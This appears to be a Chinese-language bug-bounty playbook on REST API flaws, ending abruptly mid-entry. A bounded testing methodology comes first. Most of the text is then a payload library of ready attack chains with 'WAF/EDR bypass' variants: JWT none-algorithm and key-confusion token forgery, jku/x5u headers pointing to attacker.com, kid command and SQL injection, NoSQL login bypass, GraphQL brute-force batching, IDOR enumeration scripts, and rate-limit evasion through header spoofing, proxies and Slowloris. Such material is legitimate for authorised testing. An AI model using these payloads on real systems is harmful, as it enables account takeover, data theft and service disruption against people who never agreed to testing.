# REST API 安全(BOLA / Mass Assignment / 速率 / CORS) > 视角:黑盒,针对 REST/JSON API 的常见缺陷 ## 1. 一句话说清 REST API 漏洞 = 把"端点 + JSON 字段"当攻击面。 最常见 4 类:BOLA(IDOR 升级版)、Mass Assignment、速率 / 配额缺失、CORS 配置错。 SRC 价值:BOLA / Mass Assignment 在大厂常见 P1 ($1k–$8k)。 --- ## 2. 高频入口点 ``` /api/v1/... /api/v2/... /api/users/{id} /api/orders/{id} /api/messages/{id} /api/users/{id}/orders # 嵌套 /api/internal/... # 不该公开的 /api/admin/... /api/upload /api/export /api/import ``` API 文档: - `/swagger-ui.html`、`/v2/api-docs`、`/openapi.json`、`/api-docs` - 移动 APP 抓包(HTTPS 中间人 / objection / Frida) - 微信小程序 wxapkg 解包后看 request 调用 --- ## 3. 探测手法 ### 3.1 BOLA / IDOR(OWASP API #1) ``` GET /api/orders/100 Authorization: A → 200 A 的订单 GET /api/orders/200 Authorization: A → 200 B 的订单(漏洞) # 各种 ID 形态 数字递增:100 → 101 → ... UUID:可能不可枚举,但仍可能被参数污染(如响应里含 link) 字段 in body:{"order_id":100} 改成 {"order_id":200} 嵌套关系:/users/{你}/orders → /users/{他}/orders 批量参数:?ids=1,2,3,4,5,...,1000 ``` ### 3.2 Mass Assignment(OWASP API #3) 加额外字段试服务端是否接受: ```json // 注册接口 POST /api/users {"username":"hunter","email":"a@b.c","password":"...", "is_admin":true, // 试这个 "role":"admin", // 或这个 "verified":true, "balance":1000000, "tier":"premium"} // 更新接口 PATCH /api/users/me {"is_admin":true} PATCH /api/orders/123 {"status":"shipped","price":0.01} ``` 发现:JSON 自动绑定模型字段时,未做字段白名单。 ### 3.3 资源消耗 / 速率(OWASP API #4) ``` 1. 登录端点:100 次/分钟无限制 → 撞库 2. 短信验证码:无频率 / 无图形验证 → 短信轰炸 3. 列表端点:?per_page=10000 → 性能 DoS 4. 文件上传:无大小限制 → 磁盘耗尽 5. 复杂查询:?filter=深度嵌套 → 查询超时 测试方法: for i in {1..50}; do curl -I https://target/api/login; done | grep "HTTP" # 50 个连续不被拒 = 速率缺失 ``` ### 3.4 功能权限(OWASP API #5) ``` # 普通用户调用 admin 端点 DELETE /api/admin/users/1 Authorization: 普通用户 token → 200 = 垂直越权 # 隐藏管理参数 GET /api/users/me?admin_view=true GET /api/orders/100?include_audit_log=1 # Method 越权 GET 拦 → 试 POST/PUT/PATCH/OPTIONS # 协议升级 HTTP → HTTPS-only 绕过:试 HTTP 是否仍可访问敏感端点 ``` ### 3.5 CORS 配置错 ```bash # 1. 检查 CORS 头 curl -H "Origin: https://attacker.com" -I https://target/api/me # 危险组合 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ← 危险(虽然 spec 不允许 * + credentials) Access-Control-Allow-Origin: https://attacker.com ← 任意 Origin 接受 Access-Control-Allow-Credentials: true # 2. null Origin(沙盒 iframe / data: / file:) curl -H "Origin: null" https://target/api/me # 3. 子域 / 前缀匹配 Origin: https://attacker.target.com ← 如果接受 *.target.com Origin: https://target.com.attacker.com ``` ### 3.6 错误处理 / 信息泄露 ``` ?id=null ?id=[] ?id={"$gt":0} ?id=NaN → 看响应是否含堆栈、SQL 错误、内部路径 ``` ### 3.7 GraphQL 见 `playbooks/graphql.md` --- ## 4. Bypass 矩阵 | 拦 | 绕 | |---|---| | Authorization 必填 | 试 Cookie 鉴权 / 试公开端点变体 | | 后端只信 Authorization 不验内容 | 修改 JWT payload(见 `oauth-saml-jwt.md`) | | API 文档不公开 | swagger / openapi / 抓 mobile / 解包小程序 | | `is_admin` 字段拦 | 试 `isAdmin` / `admin` / `role:1` / `level:99` | | 速率限制 | 多 IP / X-Forwarded-For 注入 / 多 token | | CORS 严格 | 找 trusted 子域的 XSS / 开放重定向,再投毒 | --- ## 5. 利用提权 / 横向 ``` BOLA → 拿大批用户数据 Mass Assignment(注册时设 is_admin) → admin 权限 → 后台 速率缺失(短信) → 短信轰炸 → 业务费用 / 用户骚扰 CORS + cookie 鉴权 → 跨域偷数据 ``` --- ## 6. 真实案例指纹 通用指纹: - API 响应含字段 `is_admin`、`role`、`verified`、`balance` → 试反向 set - 注册请求 body 包含 `role: "user"` → 改成 `role: "admin"` 试 - 列表端点 `per_page` 无上限 → DoS - `Access-Control-Allow-Origin` reflect 任何 Origin → CORS 漏洞 --- ## 7. 复现 / 证据要点 ### 7.1 BOLA ```http # 基线(账号 A 看自己) GET /api/v1/orders/A_OWN_ID Authorization: Bearer A_TOKEN → 200, A 数据 # 漏洞(账号 A 看 B) GET /api/v1/orders/B_OWN_ID Authorization: Bearer A_TOKEN → 200, B 数据(脱敏样本) ``` ### 7.2 Mass Assignment ```http POST /api/v1/users Content-Type: application/json Body: {"username":"hunter","password":"x","email":"a@b.c","is_admin":true} → 201 Created, response 含 "is_admin":true # 立即用新账号验证 GET /api/v1/admin/dashboard Authorization: Bearer NEW_TOKEN → 200 admin 内容 ``` ### 7.3 CVSS ``` BOLA → 大量 PII = 6.5–8.1 Mass Assignment → admin = 8.8–9.8 速率缺失 → 撞库 = 7.5 速率缺失 → 短信轰炸 = 5.3–7.5 CORS + credentials = 7.5–8.1 ``` ### 7.4 影响段 ``` GET /api/v1/orders/{id} 接口未校验资源所有权,账号 A 可读取账号 B 的订单。 我已用研究员控制的两个测试账号验证了 IDOR;并用 1 个随机 ID 证明可遍历, 样本仅取 1 条且全部脱敏。 ``` --- ## 相关 MCP 工具 实战中可调用 jshookmcp 完成自动化。**默认 `search` profile 未预加载工具,调用前先用 `mcp__jshook__activate_tools <工具名>` 激活**(详见 [`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) §推荐 profile)。 | 工具 | 域 | 调用时机 | |---|---|---| | `mcp__jshook__graphql_introspect` | graphql | 资产展开 / 找隐藏 mutation 与未声明字段 | | `mcp__jshook__graphql_extract_queries` + `mcp__jshook__graphql_replay` | graphql | 从抓包提取业务查询并重放(改变量) | | `mcp__jshook__api_probe_batch` | workflow | 批量探测 BOLA / 权限差异(单 fetch burst) | | `mcp__jshook__ws_monitor` + `mcp__jshook__ws_get_connections` | streaming | WebSocket 帧捕获 / 实时业务接口 | | `mcp__jshook__protobuf_decode_raw` | encoding | 无 schema 时盲解 protobuf 请求 / 响应 | 完整映射:[`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) ## 8. 不要做的事 - **禁**:通过 Mass Assignment 创建 admin 后实际使用管理员权限。仅证明 token 有 admin。 - **禁**:BOLA 批量遍历超过 10 条样本。 - **禁**:用速率漏洞实际发短信 100 条到他人手机。最多发到自己手机 10 条。 - **禁**:用 CORS 漏洞做真实跨域 PoC(让朋友访问 attacker.com)。自己浏览器自演。 ## Payload 库 _15 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_ **类别分布:** API安全 (12) · WebSocket安全 (3) ### · API安全 ### JWT安全漏洞 `jwt-security` JSON Web Token安全漏洞利用 子类:**JWT** · tags: `jwt` `token` `authentication` **前置条件:** 使用JWT进行认证;JWT配置或验证存在问题 **攻击链:** **1. 1. 解码JWT** _解码JWT内容_ ``` JWT格式: header.payload.signature 解码: echo "HEADER" | base64 -d echo "PAYLOAD" | base64 -d 或使用jwt.io ``` **2. 2. None算法攻击** _使用None算法绕过签名验证_ ``` 修改header为: {"alg":"none","typ":"JWT"} Base64编码后构造: HEADER.PAYLOAD. (签名部分为空) ``` **3. 3. 弱密钥破解** _破解弱密钥_ ``` 使用hashcat破解: hashcat -m 16500 jwt.txt wordlist.txt 使用jwt_tool: python3 jwt_tool.py JWT_TOKEN -C -d wordlist.txt ``` **4. 4. 密钥混淆攻击** _算法混淆攻击_ ``` 将RS256算法改为HS256: {"alg":"HS256","typ":"JWT"} 使用公钥作为HMAC密钥签名 ``` **5. 5. 修改Payload** _修改JWT声明_ ``` 修改payload中的用户信息: {"sub":"admin","iat":1234567890} 重新编码并使用已知密钥签名 ``` **WAF/EDR 绕过变体:** **1. JWK/JKU头部注入** _通过在JWT Header中注入jwk(内嵌密钥)或jku(远程密钥集URL)指向攻击者控制的密钥,使服务端使用攻击者密钥验证签名_ ``` # JWK内嵌公钥注入: # 在JWT Header中嵌入攻击者的公钥: {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"attacker_n","e":"AQAB"}} # 服务端使用Header中的JWK验证签名 # JKU远程密钥集注入: {"alg":"RS256","typ":"JWT","jku":"http://attacker.com/.well-known/jwks.json"} # 服务端从攻击者控制的URL获取密钥 ``` **2. x5c证书链注入** _通过x5c头部注入攻击者自签证书链,使服务端从证书中提取公钥进行验证,攻击者用对应私钥签名即可伪造任意JWT_ ``` # 生成自签名证书: openssl req -x509 -nodes -newkey rsa:2048 -keyout attacker.key -out attacker.crt -subj "/CN=attacker" # 构造JWT Header: {"alg":"RS256","x5c":["ATTACKER_CERT_BASE64"]} # 用攻击者私钥签名,x5c中放入攻击者证书 # 服务端从x5c提取公钥验证签名,攻击者自签即可通过 # 使用jwt_tool: python3 jwt_tool.py -X s -pr attacker.key ``` --- ### GraphQL注入攻击 `graphql-injection` GraphQL API注入与信息泄露攻击 子类:**GraphQL** · tags: `graphql` `api` `injection` `introspection` **前置条件:** 目标使用GraphQL API;存在未授权访问或注入点 **攻击链:** **1. 1. 探测GraphQL端点** _探测GraphQL端点_ ``` # 常见GraphQL端点 /graphql /api/graphql /graphql/api /query /graphql.php # 发送POST请求 curl -X POST http://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query": "{ __schema { types { name } } }"}' ``` **2. 2. 内省查询** _执行内省查询获取API结构_ ``` # 完整内省查询 { __schema { types { name kind description fields { name type { name } args { name type { name } } } } } } # 使用工具 gqlscan -u http://target.com/graphql inql -t http://target.com/graphql ``` **3. 3. 批量查询攻击** _使用批量查询绕过限制_ ``` # 别名批量查询 { user1: user(id: 1) { name email } user2: user(id: 2) { name email } user3: user(id: 3) { name email } user4: user(id: 4) { name email } } # 批量查询绕过速率限制 [ {"query": "{ user(id: 1) { name } }"}, {"query": "{ user(id: 2) { name } }"}, {"query": "{ user(id: 3) { name } }"} ] ``` **4. 4. SQL注入** _GraphQL中的SQL注入_ ``` # GraphQL中的SQL注入 { user(name: "admin' OR '1'='1") { id name password } } # 通过参数注入 mutation { createUser(input: { name: "test' OR 1=1--" }) { id } } ``` **5. 5. NoSQL注入** _GraphQL中的NoSQL注入_ ``` # MongoDB注入 { user(filter: { $or: [{name: "admin"}, {name: "root"}] }) { name password } } # 通过JSON注入 { search(text: "{\"$ne\": \"\"}") { results } } ``` **6. 6. 信息泄露** _获取隐藏字段和敏感信息_ ``` # 获取隐藏字段 { user(id: 1) { name email password apiKey secretKey token __typename } } # 枚举所有可能字段 { __type(name: "User") { fields { name type { name kind } } } } ``` **WAF/EDR 绕过变体:** **1. 字段建议绕过** _利用字段建议和片段枚举_ ``` # 利用字段建议功能 query { userr(id: 1) { name } } # 返回: Did you mean "user"? # 枚举隐藏字段 query { user(id: 1) { __typename ...on AdminUser { adminSecret } } } ``` **2. 指令注入** _使用GraphQL指令绕过_ ``` # 使用指令绕过 query { user(id: 1) @deprecated { name } } # 自定义指令攻击 mutation @skip(if: false) { deleteUser(id: 1) } ``` --- ### GraphQL内省攻击 `graphql-introspection` 利用GraphQL内省功能获取API结构 子类:**GraphQL内省** · tags: `graphql` `introspection` `enumeration` `api` **前置条件:** 目标使用GraphQL;内省功能未禁用 **攻击链:** **1. 1. 基础内省** _基础内省查询_ ``` # 获取所有类型 { __schema { types { name } } } # 获取查询类型 { __schema { queryType { name fields { name description } } } } ``` **2. 2. 完整内省** _完整内省查询获取所有信息_ ``` # 获取完整API结构 query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } ``` **3. 3. 使用工具分析** _使用工具分析GraphQL_ ``` # GraphQL Voyager - 可视化分析 # https://github.com/APIs-guru/graphql-voyager # 使用CLI工具 npm install -g graphql-cli graphql-cli introspect http://target.com/graphql # InQL扫描 pip install inql inql -t http://target.com/graphql # GraphQL Cop npm install -g graphql-cop graphql-cop -t http://target.com/graphql ``` **WAF/EDR 绕过变体:** **1. 绕过内省禁用** _绕过内省禁用检测_ ``` # 某些实现只检查特定字符串 # 尝试不同格式 query { __schema { types { name } } } query IntrospectionQuery { __schema { types { name } } } {"query":"{__schema{types{name}}}" # 使用GET请求 curl "http://target.com/graphql?query={__schema{types{name}}}" ``` --- ### GraphQL批量查询攻击 `graphql-batching` 利用GraphQL批量查询绕过速率限制 子类:**GraphQL批量查询** · tags: `graphql` `batching` `rate-limit` `bypass` **前置条件:** 目标使用GraphQL;存在速率限制 **攻击链:** **1. 1. 别名批量查询** _使用别名批量查询_ ``` # 使用别名一次查询多个用户 query { user1: user(id: 1) { name email password } user2: user(id: 2) { name email password } user3: user(id: 3) { name email password } user4: user(id: 4) { name email password } user5: user(id: 5) { name email password } } # 批量枚举 query { users: allUsers(limit: 1000) { id name email } } ``` **2. 2. 数组批量查询** _使用数组批量查询_ ``` # 发送多个查询数组 [ {"query": "{ user(id: 1) { name } }"}, {"query": "{ user(id: 2) { name } }"}, {"query": "{ user(id: 3) { name } }"}, {"query": "{ user(id: 4) { name } }"} ] # 使用curl发送 curl -X POST http://target.com/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{user(id:1){name}}"},{"query":"{user(id:2){name}}"}]' ``` **3. 3. 暴力破解** _批量暴力破解_ ``` # 批量密码尝试 mutation { attempt1: login(email: "admin@test.com", password: "password1") { token } attempt2: login(email: "admin@test.com", password: "password2") { token } attempt3: login(email: "admin@test.com", password: "password3") { token } attempt4: login(email: "admin@test.com", password: "password4") { token } attempt5: login(email: "admin@test.com", password: "password5") { token } } # 枚举用户 query { check1: userExists(email: "admin@test.com") check2: userExists(email: "root@test.com") check3: userExists(email: "test@test.com") } ``` **WAF/EDR 绕过变体:** **1. 绕过批量限制** _绕过批量查询限制_ ``` # 分散查询 # 使用不同的查询格式 query BatchQuery { user1: user(id: 1) { ...UserFields } user2: user(id: 2) { ...UserFields } } fragment UserFields on User { name email } # 使用变量批量 query GetUser($ids: [ID!]!) { users(ids: $ids) { name email } } ``` --- ### REST API安全测试 `rest-api-security` REST API安全测试与漏洞利用 子类:**REST API** · tags: `rest` `api` `security` `testing` **前置条件:** 目标使用REST API;了解API端点 **攻击链:** **1. 1. API端点发现** _发现API端点_ ``` # 常见API端点 /api/v1/users /api/v2/products /api/docs /api/swagger.json /api/openapi.json /swagger-ui.html /redoc # 使用工具发现 ffuf -u http://target.com/api/FUZZ -w api_endpoints.txt wfuzz -c -w api_wordlist.txt http://target.com/api/FUZZ ``` **2. 2. 认证测试** _测试API认证_ ``` # 测试未授权访问 curl http://target.com/api/v1/users # 测试JWT curl -H "Authorization: Bearer TOKEN" http://target.com/api/v1/users # 测试API Key curl -H "X-API-Key: key123" http://target.com/api/v1/users # 测试Basic Auth curl -u user:pass http://target.com/api/v1/users ``` **3. 3. HTTP方法测试** _测试HTTP方法_ ``` # 测试允许的HTTP方法 curl -X OPTIONS http://target.com/api/v1/users -v # 尝试PUT修改 curl -X PUT -H "Content-Type: application/json" \ -d '{"name":"hacked"}' http://target.com/api/v1/users/1 # 尝试DELETE删除 curl -X DELETE http://target.com/api/v1/users/1 # 尝试PATCH部分更新 curl -X PATCH -H "Content-Type: application/json" \ -d '{"role":"admin"}' http://target.com/api/v1/users/1 ``` **4. 4. 参数污染** _测试参数污染_ ``` # 参数污染测试 # 重复参数 /api/users?id=1&id=2 /api/users?name=admin&name=user # 数组参数 /api/users?id[]=1&id[]=2 /api/users?name[0]=admin&name[1]=user # JSON注入 /api/users?filter={"role":"admin"} /api/users?sort=role&order=desc; SELECT SLEEP(5)-- ``` **5. 5. 内容类型测试** _测试内容类型处理_ ``` # 测试不同Content-Type curl -H "Content-Type: application/xml" -d "test" http://target.com/api/users curl -H "Content-Type: text/plain" -d "name=test" http://target.com/api/users curl -H "Content-Type: application/x-www-form-urlencoded" -d "name=test" http://target.com/api/users # XML外部实体 curl -H "Content-Type: application/xml" \ -d ']>&xxe;' \ http://target.com/api/users ``` **WAF/EDR 绕过变体:** **1. API版本绕过** _使用不同API版本绕过_ ``` # 尝试不同API版本 /api/v1/users # 可能已修复 /api/v2/users # 可能未修复 /api/users # 旧版本可能无保护 # 尝试内部API /internal/api/users /private/api/users /_api/users ``` **2. 编码绕过** _使用编码绕过_ ``` # URL编码 curl http://target.com/api/users/%31 # /users/1 # Unicode编码 curl http://target.com/api/users/%u0031 # 双重URL编码 curl http://target.com/api/users/%2531 ``` --- ### JWT None算法攻击 `jwt-none-alg` 利用JWT None算法绕过签名验证 子类:**JWT安全** · tags: `jwt` `none` `algorithm` `bypass` **前置条件:** 目标使用JWT认证;服务器未正确验证算法 **攻击链:** **1. 1. 解码JWT** _解码JWT令牌_ ``` # 在线解码 https://jwt.io # 使用命令行 echo "HEADER" | base64 -d echo "PAYLOAD" | base64 -d # 使用Python import jwt decoded = jwt.decode(token, options={"verify_signature": False}) print(decoded) ``` **2. 2. 构造None算法Token** _构造None算法Token_ ``` # 修改头部为none算法 # 原始头部 {"alg":"HS256","typ":"JWT"} # 修改为 {"alg":"none","typ":"JWT"} {"alg":"None","typ":"JWT"} {"alg":"NONE","typ":"JWT"} {"alg":"nOnE","typ":"JWT"} # 使用Python构造 import base64, json header = {"alg":"none","typ":"JWT"} payload = {"sub":"admin","iat":1516239022} token = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=") + "." + \ base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=") + "." print(token) ``` **3. 3. 修改用户权限** _修改用户权限_ ``` # 修改payload提权 # 原始payload {"sub":"user","role":"user","iat":1516239022} # 修改为 {"sub":"admin","role":"admin","iat":1516239022} # 完整攻击 import base64, json header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').decode().rstrip("=") payload = base64.urlsafe_b64encode(b'{"sub":"admin","role":"admin"}').decode().rstrip("=") token = header + "." + payload + "." print(token) ``` **4. 4. 发送恶意Token** _发送恶意Token_ ``` # 使用curl发送 curl -H "Authorization: Bearer " http://target.com/api/admin # 空签名测试 curl -H "Authorization: Bearer [REDACTED]" http://target.com/api/admin ``` **WAF/EDR 绕过变体:** **1. 算法混淆** _尝试算法变体_ ``` # 尝试不同变体 {"alg":"none"} {"alg":"None"} {"alg":"NONE"} {"alg":"nOnE"} {"alg":""} {"alg":null} # 移除alg字段 {"typ":"JWT"} ``` **2. 签名绕过** _签名绕过变体_ ``` # 空签名 header.payload. # 任意签名 header.payload.anysignature # 使用原始签名 # 某些库会忽略签名验证 ``` --- ### JWT密钥混淆攻击 `jwt-key-confusion` 利用JWT算法混淆实现签名绕过 子类:**JWT安全** · tags: `jwt` `algorithm` `confusion` `rs256` **前置条件:** 目标使用RS256算法;可获取公钥 **攻击链:** **1. 1. 获取公钥** _获取JWT公钥_ ``` # 从证书获取 curl -k https://target.com/.well-known/jwks.json # 从SSL证书获取 echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout # 从JWT头部获取 # 解码JWT头部,查找x5c或jku字段 # 常见公钥位置 /.well-known/jwks.json /api/keys /public.key /pubkey.pem ``` **2. 2. 算法混淆攻击** _算法混淆攻击_ ``` # 将RS256改为HS256 # 使用公钥作为HMAC密钥 import jwt import base64 # 获取公钥 public_key = open("public.pem").read() # 构造payload payload = {"sub":"admin","role":"admin"} # 使用公钥作为HMAC密钥签名 token = jwt.encode(payload, public_key, algorithm="HS256") print(token) ``` **3. 3. 发送恶意Token** _发送恶意Token_ ``` # 使用构造的Token curl -H "Authorization: Bearer " http://target.com/api/admin # Python脚本 import requests headers = {"Authorization": f"Bearer {token}"} response = requests.get("http://target.com/api/admin", headers=headers) print(response.text) ``` **WAF/EDR 绕过变体:** **1. kid注入** _通过kid参数注入_ ``` # kid参数注入 # 修改JWT头部kid字段 {"alg":"HS256","typ":"JWT","kid":"../../dev/null"} # SQL注入kid {"alg":"HS256","typ":"JWT","kid":"key UNION SELECT secret--"} # 命令注入kid {"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"} ``` **2. jku/x5u绕过** _通过jku/x5u绕过_ ``` # jku指向攻击者服务器 {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/.well-known/jwks.json"} # x5u指向攻击者证书 {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} # 在攻击者服务器托管恶意密钥 ``` --- ### IDOR不安全的直接对象引用 `api-idor` 利用IDOR漏洞访问未授权资源 子类:**IDOR** · tags: `idor` `api` `authorization` `bypass` **前置条件:** 目标使用ID引用资源;存在授权检查缺陷 **攻击链:** **1. 1. 识别ID参数** _识别ID参数_ ``` # 常见ID参数位置 /api/users/123 /api/orders?id=123 /api/documents/abc-123 /api/profile?user_id=123 # 观察响应 # 记录不同ID返回的数据差异 ``` **2. 2. 枚举ID** _枚举ID值_ ``` # 数字ID枚举 for i in $(seq 1 1000); do curl -H "Authorization: Bearer $TOKEN" "http://target.com/api/users/$i" >> output.txt done # 使用Burp Intruder # Payload: Numbers 1-10000 # GET /api/users/{id} # UUID枚举 # 使用ffuf ffuf -u http://target.com/api/users/FUZZ -w uuid_list.txt -H "Authorization: Bearer TOKEN" ``` **3. 3. 批量检测** _批量检测IDOR_ ``` # Python脚本批量检测 import requests token = "YOUR_TOKEN" for i in range(1, 100): r = requests.get( f"http://target.com/api/users/{i}", headers={"Authorization": f"Bearer {token}"} ) if r.status_code == 200: print(f"ID {i}: {r.json()}") # 检测数据泄露 # 比较不同用户访问同一ID的响应 ``` **4. 4. 跨用户访问** _跨用户访问测试_ ``` # 尝试访问其他用户数据 # 用户A的Token访问用户B的数据 # 修改请求中的ID GET /api/users/2 # 原本是用户1 GET /api/orders?user_id=2 # 原本是user_id=1 # 修改POST/PUT请求体 { "user_id": 2, # 修改为其他用户ID "amount": 1000 } ``` **WAF/EDR 绕过变体:** **1. ID变体绕过** _ID变体绕过_ ``` # 数字变体 /api/users/001 /api/users/1 /api/users/0x1 /api/users/1.0 # 编码绕过 /api/users/%31 # URL编码 /api/users/MSAg # Base64编码 # 数组绕过 /api/users?id[]=1&id[]=2 /api/users[0]=1&users[1]=2 ``` **2. 参数污染** _参数污染绕过_ ``` # 参数污染 /api/users?id=1&id=2 /api/users?id=2&id=1 # JSON注入 {"id": 1, "id": 2} # 批量操作 /api/users/batch?ids=1,2,3,4,5 ``` --- ### API速率限制绕过 `api-rate-limit` 绕过API速率限制进行暴力攻击 子类:**速率限制** · tags: `api` `rate-limit` `bypass` `brute-force` **前置条件:** 目标有速率限制;限制实现有缺陷 **攻击链:** **1. 1. 检测速率限制** _检测速率限制_ ``` # 快速发送请求检测限制 for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" http://target.com/api/test done # 观察响应 # 429 Too Many Requests # 403 Forbidden # 自定义错误消息 ``` **2. 2. IP绕过** _使用IP头绕过_ ``` # X-Forwarded-For绕过 curl -H "X-Forwarded-For: 1.2.3.4" http://target.com/api/test curl -H "X-Forwarded-For: 1.2.3.5" http://target.com/api/test curl -H "X-Forwarded-For: 1.2.3.6" http://target.com/api/test # 其他IP头 X-Real-IP: 1.2.3.4 X-Originating-IP: 1.2.3.4 X-Remote-IP: 1.2.3.4 X-Client-IP: 1.2.3.4 True-Client-IP: 1.2.3.4 # 自动化 for i in $(seq 1 100); do curl -H "X-Forwarded-For: 1.2.3.$i" http://target.com/api/test done ``` **3. 3. 分布式绕过** _分布式绕过速率限制_ ``` # 使用多个代理 # 配置代理池 proxies = [ "http://proxy1:8080", "http://proxy2:8080", "http://proxy3:8080" ] # Python脚本 import requests proxies_list = ["http://proxy1:8080", "http://proxy2:8080"] for i, proxy in enumerate(proxies_list): requests.get("http://target.com/api/test", proxies={"http": proxy}) # 使用Tor # 每次请求头换Tor电路 import stem.process import requests # 使用云函数 # AWS Lambda, Azure Functions等 ``` **4. 4. 其他绕过技术** _其他绕过技术_ ``` # 用户代理绕过 curl -A "Googlebot" http://target.com/api/test curl -A "Bingbot" http://target.com/api/test # 认证绕过 # 使用不同账户 for token in $TOKENS; do curl -H "Authorization: Bearer $token" http://target.com/api/test done # HTTP/2多路复用 # 单个连接发送多个请求 # 缓慢请求 # Slowloris攻击 ``` **WAF/EDR 绕过变体:** **1. API Key轮换** _API Key轮换_ ``` # 使用多个API Key api_keys = ["key1", "key2", "key3", "key4"] for i, key in enumerate(api_keys): requests.get("http://target.com/api/test", headers={"X-API-Key": key}) # 注册多个账户获取多个Token ``` **2. 请求分散** _请求分散_ ``` # 添加延迟 import time for i in range(100): requests.get("http://target.com/api/test") time.sleep(0.5) # 每次请求头隔0.5秒 # 分散到不同时间段 # 使用定时任务分散请求 ``` --- ### 批量赋值漏洞 `api-mass-assignment` 利用批量赋值漏洞修改敏感字段 子类:**批量赋值** · tags: `api` `mass-assignment` `privilege-escalation` **前置条件:** API接受JSON输入;存在未过滤的字段 **攻击链:** **1. 1. 识别输入字段** _识别返回的字段_ ``` # 正常请求 POST /api/users { "name": "test", "email": "test@test.com" } # 观察响应 { "id": 1, "name": "test", "email": "test@test.com", "role": "user", "isAdmin": false, "createdAt": "2024-01-01" } ``` **2. 2. 添加敏感字段** _添加敏感字段_ ``` # 尝试添加role字段 POST /api/users { "name": "test", "email": "test@test.com", "role": "admin" } # 尝试isAdmin { "name": "test", "email": "test@test.com", "isAdmin": true } # 尝试多个字段 { "name": "test", "email": "test@test.com", "role": "admin", "isAdmin": true, "permissions": ["read", "write", "delete"] } ``` **3. 3. 更新操作** _更新操作测试_ ``` # PUT/PATCH更新 PATCH /api/users/123 { "role": "admin" } # 尝试修改其他用户 PATCH /api/users/1 { "role": "admin" } # 尝试修改密码 PATCH /api/users/me { "password": "newpassword123" } ``` **4. 4. 嵌套对象** _嵌套对象测试_ ``` # 嵌套对象赋值 { "name": "test", "settings": { "notifications": true, "isAdmin": true } } # 数组赋值 { "name": "test", "roles": ["admin", "superadmin"] } ``` **WAF/EDR 绕过变体:** **1. 字段变体** _尝试字段变体_ ``` # 尝试不同字段名 is_admin, is_Admin, IS_ADMIN admin, Admin, ADMIN user_type, userType, user_type_id # 尝试内部字段 __v, _id, created_at, updated_at password_hash, passwordHash ``` **2. 类型混淆** _类型混淆测试_ ``` # 数字转布尔 {"isAdmin": 1} {"isAdmin": "true"} # 数组转字符串 {"roles": "admin"} # 对象转数组 {"settings": ["admin"]} ``` --- ### BOLA破坏对象级授权 `api-bola` 利用BOLA漏洞访问未授权对象 子类:**BOLA** · tags: `api` `bola` `authorization` `idor` **前置条件:** API使用对象ID;授权检查缺陷 **攻击链:** **1. 1. 识别对象访问** _识别对象访问模式_ ``` # 观察API端点 GET /api/users/{user_id}/documents GET /api/teams/{team_id}/members GET /api/orders/{order_id} # 分析对象关系 # 用户 -> 文档 # 团队 -> 成员 # 订单 -> 用户 ``` **2. 2. 测试授权** _测试授权检查_ ``` # 创建两个账户测试 # 用户A: user_a_token # 用户B: user_b_token # 用户A创建资源 POST /api/documents Authorization: Bearer user_a_token {"title": "Secret Doc"} # 返回: {"id": "doc_123"} # 用户B尝试访问 GET /api/documents/doc_123 Authorization: Bearer user_b_token # 如果返回200,存在BOLA ``` **3. 3. 横向访问** _横向访问测试_ ``` # 枚举其他用户资源 for doc_id in doc_1 doc_2 doc_3; do curl -H "Authorization: Bearer $TOKEN" "http://target.com/api/documents/$doc_id" done # 访问其他用户私有数据 GET /api/users/2/profile GET /api/users/2/settings GET /api/users/2/credit-cards ``` **4. 4. 修改/删除操作** _修改/删除操作测试_ ``` # 修改其他用户数据 PUT /api/documents/doc_123 Authorization: Bearer user_b_token {"title": "Modified by B"} # 删除其他用户数据 DELETE /api/documents/doc_123 Authorization: Bearer user_b_token # 添加到其他团队 POST /api/teams/team_1/members Authorization: Bearer attacker_token {"user_id": "attacker_id"} ``` **WAF/EDR 绕过变体:** **1. 路径遍历** _路径遍历绕过_ ``` # 路径遍历访问 GET /api/users/../admin GET /api/users/..%2Fadmin # 编码绕过 GET /api/users/%2e%2e/admin GET /api/users/..%c0%afadmin ``` **2. 参数篡改** _参数篡改绕过_ ``` # 修改请求方法 # GET变POST POST /api/documents/doc_123 # 添加参数 GET /api/documents/doc_123?user_id=attacker # 修改Content-Type Content-Type: application/xml doc_123 ``` --- ### API注入攻击 `api-injection` API端点中的各类注入攻击 子类:**API注入** · tags: `api` `injection` `sqli` `nosqli` **前置条件:** API接受用户输入;输入未正确过滤 **攻击链:** **1. 1. SQL注入** _API SQL注入_ ``` # REST API SQL注入 GET /api/users?id=1 OR 1=1 GET /api/users?name=admin'-- GET /api/users?sort=name; SELECT SLEEP(5)-- # POST请求注入 POST /api/users {"name": "admin' OR '1'='1"} # JSON注入 POST /api/search {"query": "test' UNION SELECT username,password FROM users--"} ``` **2. 2. NoSQL注入** _NoSQL注入_ ``` # MongoDB注入 GET /api/users?name[$ne]= GET /api/users?age[$gt]=0 GET /api/users?role[$ne]=user # POST请求 POST /api/login {"username": "admin", "password": {"$ne": ""}} {"username": "admin", "password": {"$regex": ".*"}} # 嵌套查询 {"$where": "this.password == this.password"} {"$where": "return true"} ``` **3. 3. LDAP注入** _LDAP注入_ ``` # LDAP注入 GET 